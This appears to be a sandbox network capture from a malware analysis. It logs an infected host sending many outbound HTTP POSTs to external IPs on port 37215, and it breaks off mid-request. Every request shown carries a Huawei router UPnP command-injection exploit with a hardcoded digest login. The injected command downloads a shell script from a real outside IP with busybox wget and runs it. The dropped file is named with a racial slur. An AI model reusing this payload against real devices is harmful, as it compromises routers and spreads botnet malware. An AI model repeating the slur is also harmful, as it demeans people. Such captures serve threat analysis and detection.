Feb 19, 2024 18:36:48.290429115 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.642544985 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.346054077 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521657944 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.336695910 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.15	57198	31.200.30.75	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:44.399827003 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.15	47518	94.187.114.238	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.830138922 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.15	51682	94.187.117.159	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.830720901 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.15	45044	94.123.247.114	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.831197977 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo 